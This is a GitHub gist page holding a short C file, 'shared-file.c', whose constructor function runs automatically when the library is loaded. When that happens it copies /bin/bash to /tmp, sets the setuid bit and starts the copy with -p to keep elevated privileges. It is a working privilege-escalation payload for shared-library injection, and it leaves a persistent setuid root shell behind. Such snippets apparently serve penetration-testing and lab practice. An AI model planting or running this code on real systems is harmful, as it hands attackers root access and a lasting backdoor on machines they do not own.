Skip to content

Instantly share code, notes, and snippets.

@int0x33

int0x33/shared-file.c

Last active Mar 25, 2019
Embed
What would you like to do?
#include <stdio.h>
#include <stdlib.h>
static void welcome() __attribute__((constructor));
void welcome(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment